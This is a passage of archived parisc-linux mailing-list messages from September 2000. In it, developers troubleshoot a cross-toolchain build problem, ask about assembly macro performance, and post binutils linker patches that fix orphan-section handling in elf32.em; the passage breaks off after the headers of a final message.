Original-Received: (qmail 10364 invoked from network); 6 Sep 2000 04:08:56 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 6 Sep 2000 04:08:56 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 5783F5E0; Tue,  5 Sep 2000 21:08:55 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA24394;
	Tue, 5 Sep 2000 21:12:22 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 06 Sep 2000 11:46:40 PDT."
             <Pine.LNX.4.21.0009061137540.22521-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:7903

Alan Modra wrote:
> My guess is that you need to update your assembler.  The lines in question
> use register aliases instead of %r<num>:
>         depd            pte,8,7,prot
> 
> pehc CVS before 2000-08-23 won't accept register aliases on all
> instructions.

Alan,

I had just updated gcc/binutils and rebuilt them today.
[ See build-tools/recipe.linux.
  "-u" forces an update and "-R" wipes out the build directories
  before building everything again. ]

I might be picking up "as" from someplace else...let me double check.
I am. My PATH is set to /opt/puffin/bin expecting linux-2.3/Makefile
to set CROSS_COMPILE to hppa-linux...so I end up with *native* toolchain.
arrrgggh.

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] entry.S Invalid operands
Date: Tue, 05 Sep 2000 21:24:42 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <200009060424.VAA24432@milano.cup.hp.com>
References: <Pine.LNX.4.21.0009061137540.22521-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619114 3442 80.91.229.3 (22 Nov 2014 01:18:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: grundler@cup.hp.com  Tue Sep  5 22:21:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA03788
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Sep 2000 22:21:03 -0600
Original-Received: (qmail 19447 invoked by uid 15267); 6 Sep 2000 04:21:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19433 invoked from network); 6 Sep 2000 04:21:18 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 6 Sep 2000 04:21:18 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 129385C3; Tue,  5 Sep 2000 21:21:17 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA24432;
	Tue, 5 Sep 2000 21:24:44 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 06 Sep 2000 11:46:40 PDT."
             <Pine.LNX.4.21.0009061137540.22521-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:7904

Alan Modra wrote:
> My guess is that you need to update your assembler.  The lines in question
> use register aliases instead of %r<num>:
>         depd            pte,8,7,prot
> 
> pehc CVS before 2000-08-23 won't accept register aliases on all
> instructions.

Good guess...I sent the previous reply too quickly.
Setting CROSS_COMPILE didn't help. So I went to binutils-2.10
and ran cvs update manually. To my surprise a bunch of files
were updated.

Something's fishy with the "-u" option of recipe.linux.

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] entry.S Invalid operands
Date: Wed, 6 Sep 2000 15:48:54 +1100 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009061542070.22521-100000@front.linuxcare.com.au>
References: <200009060424.VAA24432@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619114 3445 80.91.229.3 (22 Nov 2014 01:18:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Sep  5 22:51:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA04149
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Sep 2000 22:51:54 -0600
Original-Received: (qmail 7460 invoked by uid 15267); 6 Sep 2000 04:52:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7401 invoked from network); 6 Sep 2000 04:52:06 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 6 Sep 2000 04:52:06 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA30883;
	Wed, 6 Sep 2000 15:48:54 +1100
In-Reply-To: <200009060424.VAA24432@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7905

On Tue, 5 Sep 2000, Grant Grundler wrote:

> Setting CROSS_COMPILE didn't help. So I went to binutils-2.10
> and ran cvs update manually. To my surprise a bunch of files
> were updated.

Well, some should have updated as I did another merge a few hours
ago.  The previous merge was at a bad time, with some configure files
broken.

The other likely possibility is that objects aren't being rebuilt even
when source files are newer.  Dependency information in binutils might be
wrong, or your version of make broken.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] entry.S Invalid operands
Date: Tue, 05 Sep 2000 22:08:45 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <200009060508.WAA24577@milano.cup.hp.com>
References: <Pine.LNX.4.21.0009061542070.22521-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619114 3449 80.91.229.3 (22 Nov 2014 01:18:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: grundler@cup.hp.com  Tue Sep  5 23:05:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA04395
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Sep 2000 23:05:35 -0600
Original-Received: (qmail 15890 invoked by uid 15267); 6 Sep 2000 05:05:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15883 invoked from network); 6 Sep 2000 05:05:49 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 6 Sep 2000 05:05:49 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 2723FDD1; Tue,  5 Sep 2000 22:05:48 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id WAA24577;
	Tue, 5 Sep 2000 22:08:47 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 06 Sep 2000 15:48:54 PDT."
             <Pine.LNX.4.21.0009061542070.22521-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:7906

Alan Modra wrote:
> On Tue, 5 Sep 2000, Grant Grundler wrote:
> Well, some should have updated as I did another merge a few hours
> ago.  The previous merge was at a bad time, with some configure files
> broken.

More than about 30-50 files?
I didn't count but it was far more than my 24 line screen.

After rebuilding the binutils/gcc for XC, I can now build kernels again.

> The other likely possibility is that objects aren't being rebuilt even
> when source files are newer.  Dependency information in binutils might be
> wrong, or your version of make broken.

The former is possible though I had rebuilt from scratch.

I had to upgrade make to a newer version since gcc or binutils config
stops if make isn't at least version 3.78. I have 3.78.1.
Did that a few days ago...after dhd pointed out the obvious
config error.

thanks!
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] elf32.em place_orphan segfault
Date: Thu, 7 Sep 2000 02:24:42 +1100 (EST)
Lines: 57
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009070151400.22521-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619115 3451 80.91.229.3 (22 Nov 2014 01:18:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: binutils@sourceware.cygnus.com
Original-X-From: alan@linuxcare.com.au  Wed Sep  6 09:24:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA19073
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Sep 2000 09:24:51 -0600
Original-Received: (qmail 19142 invoked by uid 15267); 6 Sep 2000 15:25:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19115 invoked from network); 6 Sep 2000 15:25:05 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 6 Sep 2000 15:25:05 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id CAA07553;
	Thu, 7 Sep 2000 02:24:42 +1100
Xref: news.gmane.org gmane.linux.ports.parisc:7907

While fiddling with the new "ld --unique" option, I managed to crash the
linker.  You have to try fairly hard, but using a custom link script with
a .text output section that doesn't match the first input .text section
does the trick.  Without --unique you'd need to try even harder with
unusual section flags to get the crash.

Anyway, this patch fixes the problem, and improves link times too.

ld/ChangeLog
	* emultempl/elf32.em (gld${EMULATION_NAME}_place_orphan): Don't
	try shuffling sections when the orphan happens to be the place
	holder.  Keep count of unique section names generated so we speed
	the search for a new name.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.

Index: emultempl/elf32.em
===================================================================
RCS file: /cvs/src/src/ld/emultempl/elf32.em,v
retrieving revision 1.32
diff -u -p -r1.32 elf32.em
--- elf32.em	2000/09/05 03:05:19	1.32
+++ elf32.em	2000/09/06 14:50:13
@@ -1008,6 +1008,7 @@ gld${EMULATION_NAME}_place_orphan (file,
   static struct orphan_save hold_bss;
   static struct orphan_save hold_rel;
   static struct orphan_save hold_interp;
+  static int count = 1;
   struct orphan_save *place;
   lang_statement_list_type *old = NULL;
   lang_statement_list_type add;
@@ -1092,7 +1093,9 @@ gld${EMULATION_NAME}_place_orphan (file,
      loadable or allocateable characteristics.  */
   outsecname = secname;
   if (bfd_get_section_by_name (output_bfd, outsecname) != NULL)
-    outsecname = bfd_get_unique_section_name (output_bfd, outsecname, NULL);
+    outsecname = bfd_get_unique_section_name (output_bfd,
+					      outsecname,
+					      &count);
 
   if (place != NULL)
     {
@@ -1154,7 +1157,9 @@ gld${EMULATION_NAME}_place_orphan (file,
       stat_ptr = old;
 
       snew = os->bfd_section;
-      if (place->os->bfd_section != NULL || place->section != NULL)
+      if (place->section != NULL
+	  || (place->os->bfd_section != NULL
+	      && place->os->bfd_section != snew))
 	{
 	  /* Shuffle the section to make the output file look neater.  */
 	  if (place->section == NULL)



From - Thu Nov 08 21:13:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] save_specials performance
Date: Wed, 6 Sep 2000 11:48:26 -0700 (PDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200009061848.LAA26001@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619115 3453 80.91.229.3 (22 Nov 2014 01:18:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: jsm@fc.hp.com
Original-X-From: grundler@cup.hp.com  Wed Sep  6 12:45:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA20990
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Sep 2000 12:45:10 -0600
Original-Received: (qmail 18889 invoked by uid 15267); 6 Sep 2000 18:45:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18869 invoked from network); 6 Sep 2000 18:45:25 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 6 Sep 2000 18:45:25 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 03FCDEA0
	for <parisc-linux@thepuffingroup.com>; Wed,  6 Sep 2000 11:45:17 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id LAA26001;
	Wed, 6 Sep 2000 11:48:26 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7908

Hi john, paul,
if save_specials and rest_specials macros in include/asm-parisc/assembly.h
could trash both %r1 and %r2, would it double the speed of the
macros since the serial mfctl/mtctl could interleave register usage?

I understand %r2 would need to be saved some place first and that
might have it's own set of issues...but I suspect save/rest specials
is getting called alot.

thanks,
grant


From - Thu Nov 08 21:13:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Nasty elf orphan section bug.
Date: Thu, 7 Sep 2000 18:01:58 +1100 (EST)
Lines: 253
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009071644240.16907-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619115 3457 80.91.229.3 (22 Nov 2014 01:18:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: binutils@sourceware.cygnus.com
Original-X-From: alan@linuxcare.com.au  Thu Sep  7 01:01:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA04440
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Sep 2000 01:01:56 -0600
Original-Received: (qmail 31607 invoked by uid 15267); 7 Sep 2000 07:02:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31541 invoked from network); 7 Sep 2000 07:02:10 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 7 Sep 2000 07:02:10 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA29399;
	Thu, 7 Sep 2000 18:01:58 +1100
Xref: news.gmane.org gmane.linux.ports.parisc:7909

This one's a beauty, resulting in empty orphan output sections with nary a
complaint from the linker.  (I reckon it predates my fiddling with
elf32.em too.  Hi Ian ;-) )

The problem was that the statement list tail pointer was never updated.
If an orphan section happenned to be added such that it's output section
statement was right at the tail of the statement list, then the
next output statement to be added was tacked on to the list at the
same position, effectively snipping off the previous statement.
Fortunately, in practice this didn't happen very often when using the
default linker scripts as they have assorted .debug sections at the tail.

Fixed by the last hunk of the following patch, which addresses a few other
minor issues as well.

ld/ChangeLog
	* emultempl/elf32.em (gld${EMULATION_NAME}_place_orphan): Fix
	broken list handling.  Create __start_SECNAME and __stop_SECNAME
	when no placeholder.  Add some comments.  Test both SEC_CODE and
	SEC_READONLY for hold_text to prevent .rodata orphan poisoning.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.

Index: elf32.em
===================================================================
RCS file: /cvs/src/src/ld/emultempl/elf32.em,v
retrieving revision 1.33
diff -c -p -r1.33 elf32.em
*** elf32.em	2000/09/06 15:28:25	1.33
--- elf32.em	2000/09/07 06:54:05
*************** gld${EMULATION_NAME}_place_orphan (file,
*** 1010,1016 ****
    static struct orphan_save hold_interp;
    static int count = 1;
    struct orphan_save *place;
!   lang_statement_list_type *old = NULL;
    lang_statement_list_type add;
    etree_type *address;
    const char *secname;
--- 1010,1016 ----
    static struct orphan_save hold_interp;
    static int count = 1;
    struct orphan_save *place;
!   lang_statement_list_type *old;
    lang_statement_list_type add;
    etree_type *address;
    const char *secname;
*************** gld${EMULATION_NAME}_place_orphan (file,
*** 1060,1067 ****
  
    if (s->flags & SEC_EXCLUDE)
      return false;
!   else if ((s->flags & SEC_ALLOC) == 0)
!     place = NULL;
    else if ((s->flags & SEC_LOAD) != 0
  	   && strncmp (secname, ".note", 4) == 0
  	   && HAVE_SECTION (hold_interp, ".interp"))
--- 1060,1069 ----
  
    if (s->flags & SEC_EXCLUDE)
      return false;
! 
!   place = NULL;
!   if ((s->flags & SEC_ALLOC) == 0)
!     ;
    else if ((s->flags & SEC_LOAD) != 0
  	   && strncmp (secname, ".note", 4) == 0
  	   && HAVE_SECTION (hold_interp, ".interp"))
*************** gld${EMULATION_NAME}_place_orphan (file,
*** 1076,1090 ****
  	   && (hold_rel.os != NULL
  	       || (hold_rel.os = output_rel_find ()) != NULL))
      place = &hold_rel;
!   else if ((s->flags & SEC_CODE) == 0
! 	   && (s->flags & SEC_READONLY) != 0
  	   && HAVE_SECTION (hold_rodata, ".rodata"))
      place = &hold_rodata;
!   else if ((s->flags & SEC_READONLY) != 0
  	   && hold_text.os != NULL)
      place = &hold_text;
-   else
-     place = NULL;
  
  #undef HAVE_SECTION
  
--- 1078,1089 ----
  	   && (hold_rel.os != NULL
  	       || (hold_rel.os = output_rel_find ()) != NULL))
      place = &hold_rel;
!   else if ((s->flags & (SEC_CODE | SEC_READONLY)) == SEC_READONLY
  	   && HAVE_SECTION (hold_rodata, ".rodata"))
      place = &hold_rodata;
!   else if ((s->flags & (SEC_CODE | SEC_READONLY)) == (SEC_CODE | SEC_READONLY)
  	   && hold_text.os != NULL)
      place = &hold_text;
  
  #undef HAVE_SECTION
  
*************** gld${EMULATION_NAME}_place_orphan (file,
*** 1097,1115 ****
  					      outsecname,
  					      &count);
  
    if (place != NULL)
      {
-       /* Start building a list of statements for this section.  */
-       old = stat_ptr;
        stat_ptr = &add;
        lang_list_init (stat_ptr);
  
        /* If the name of the section is representable in C, then create
  	 symbols to mark the start and the end of the section.  */
        for (ps = outsecname; *ps != '\0'; ps++)
  	if (! isalnum ((unsigned char) *ps) && *ps != '_')
  	  break;
!       if (*ps == '\0' && config.build_constructors)
  	{
  	  char *symname;
  	  etree_type *e_align;
--- 1096,1122 ----
  					      outsecname,
  					      &count);
  
+   /* Start building a list of statements for this section.
+      First save the current statement pointer.  */
+   old = stat_ptr;
+ 
+   /* If we have found an appropriate place for the output section
+      statements for this orphan, add them to our own private list,
+      inserting them later into the global statement list.  */
    if (place != NULL)
      {
        stat_ptr = &add;
        lang_list_init (stat_ptr);
+     }
  
+   if (config.build_constructors)
+     {
        /* If the name of the section is representable in C, then create
  	 symbols to mark the start and the end of the section.  */
        for (ps = outsecname; *ps != '\0'; ps++)
  	if (! isalnum ((unsigned char) *ps) && *ps != '_')
  	  break;
!       if (*ps == '\0')
  	{
  	  char *symname;
  	  etree_type *e_align;
*************** gld${EMULATION_NAME}_place_orphan (file,
*** 1139,1167 ****
      ((bfd_vma) 0, "*default*",
       (struct lang_output_section_phdr_list *) NULL, "*default*");
  
!   if (place != NULL)
      {
!       asection *snew, **pps;
  
!       stat_ptr = &add;
  
!       if (*ps == '\0' && config.build_constructors)
! 	{
! 	  char *symname;
  
! 	  symname = (char *) xmalloc (ps - outsecname + sizeof "__stop_");
! 	  sprintf (symname, "__stop_%s", outsecname);
! 	  lang_add_assignment (exp_assop ('=', symname,
! 					  exp_nameop (NAME, ".")));
! 	}
!       stat_ptr = old;
  
        snew = os->bfd_section;
        if (place->section != NULL
  	  || (place->os->bfd_section != NULL
  	      && place->os->bfd_section != snew))
  	{
! 	  /* Shuffle the section to make the output file look neater.  */
  	  if (place->section == NULL)
  	    {
  #if 0
--- 1146,1180 ----
      ((bfd_vma) 0, "*default*",
       (struct lang_output_section_phdr_list *) NULL, "*default*");
  
!   if (config.build_constructors && *ps == '\0')
      {
!       char *symname;
  
!       /* lang_leave_ouput_section_statement resets stat_ptr.  Put
! 	 stat_ptr back where we want it.  */
!       if (place != NULL)
! 	stat_ptr = &add;
! 
!       symname = (char *) xmalloc (ps - outsecname + sizeof "__stop_");
!       sprintf (symname, "__stop_%s", outsecname);
!       lang_add_assignment (exp_assop ('=', symname,
! 				      exp_nameop (NAME, ".")));
!     }
  
!   /* Restore the global list pointer.  */
!   stat_ptr = old;
  
!   if (place != NULL)
!     {
!       asection *snew, **pps;
  
        snew = os->bfd_section;
        if (place->section != NULL
  	  || (place->os->bfd_section != NULL
  	      && place->os->bfd_section != snew))
  	{
! 	  /* Shuffle the section to make the output file look neater.
! 	     This is really only cosmetic.  */
  	  if (place->section == NULL)
  	    {
  #if 0
*************** gld${EMULATION_NAME}_place_orphan (file,
*** 1190,1195 ****
--- 1203,1211 ----
  	}
        place->section = &snew->next;	/* Save the end of this list.  */
  
+       /* We try to put the output statements in some sort of
+ 	 reasonable order here, because they determine the final load
+ 	 addresses of the orphan sections.  */
        if (place->stmt == NULL)
  	{
  	  /* Put the new statement list right at the head.  */
*************** gld${EMULATION_NAME}_place_orphan (file,
*** 1202,1208 ****
  	  *add.tail = *place->stmt;
  	  *place->stmt = add.head;
  	}
!       place->stmt = add.tail;		/* Save the end of this list.  */
      }
  
    return true;
--- 1218,1231 ----
  	  *add.tail = *place->stmt;
  	  *place->stmt = add.head;
  	}
! 
!       /* Fix the global list pointer if we happened to tack our new
! 	 list at the tail.  */
!       if (*old->tail == add.head)
! 	old->tail = add.tail;
! 
!       /* Save the end of this list.  */
!       place->stmt = add.tail;
      }
  
    return true;


From - Thu Nov 08 21:13:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Nasty elf orphan section bug.
Date: Thu, 7 Sep 2000 20:05:09 +1100 (EST)
Lines: 59
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009071955540.16907-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0009071644240.16907-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619116 3461 80.91.229.3 (22 Nov 2014 01:18:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: binutils@sourceware.cygnus.com
Original-X-From: alan@linuxcare.com.au  Thu Sep  7 03:05:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA05295
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Sep 2000 03:05:36 -0600
Original-Received: (qmail 14216 invoked by uid 15267); 7 Sep 2000 09:05:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14189 invoked from network); 7 Sep 2000 09:05:51 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 7 Sep 2000 09:05:51 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA31630;
	Thu, 7 Sep 2000 20:05:09 +1100
In-Reply-To: <Pine.LNX.4.21.0009071644240.16907-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7910

On Thu, 7 Sep 2000, Alan Modra wrote:

> ld/ChangeLog
> 	* emultempl/elf32.em (gld${EMULATION_NAME}_place_orphan): Fix
> 	broken list handling.  Create __start_SECNAME and __stop_SECNAME
> 	when no placeholder.  Add some comments.  Test both SEC_CODE and
> 	SEC_READONLY for hold_text to prevent .rodata orphan poisoning.

Drat.  Missed another problem when using weird linker scripts.

ld/ChangeLog
	Handle case where no output section statement created.

This can happen when an output section statement already exists for the
input orphan section.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.

Index: emultempl/elf32.em
===================================================================
RCS file: /cvs/src/src/ld/emultempl/elf32.em,v
retrieving revision 1.34
diff -u -w -p -r1.34 elf32.em
--- elf32.em	2000/09/07 07:08:58	1.34
+++ elf32.em	2000/09/07 08:52:17
@@ -1203,9 +1203,11 @@ gld${EMULATION_NAME}_place_orphan (file,
 	}
       place->section = &snew->next;	/* Save the end of this list.  */
 
+      if (add.head != NULL)
+	{
       /* We try to put the output statements in some sort of
-	 reasonable order here, because they determine the final load
-	 addresses of the orphan sections.  */
+	     reasonable order here, because they determine the final
+	     load addresses of the orphan sections.  */
       if (place->stmt == NULL)
 	{
 	  /* Put the new statement list right at the head.  */
@@ -1219,13 +1221,14 @@ gld${EMULATION_NAME}_place_orphan (file,
 	  *place->stmt = add.head;
 	}
 
-      /* Fix the global list pointer if we happened to tack our new
-	 list at the tail.  */
+	  /* Fix the global list pointer if we happened to tack our
+	     new list at the tail.  */
       if (*old->tail == add.head)
 	old->tail = add.tail;
 
       /* Save the end of this list.  */
       place->stmt = add.tail;
+	}
     }
 
   return true;


From - Thu Nov 08 21:13:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pdc_console_wait_key()
Date: Thu, 7 Sep 2000 11:53:14 -0700 (PDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200009071853.LAA28084@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619116 3465 80.91.229.3 (22 Nov 2014 01:18:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Sep  7 12:49:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA11687
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Sep 2000 12:49:41 -0600
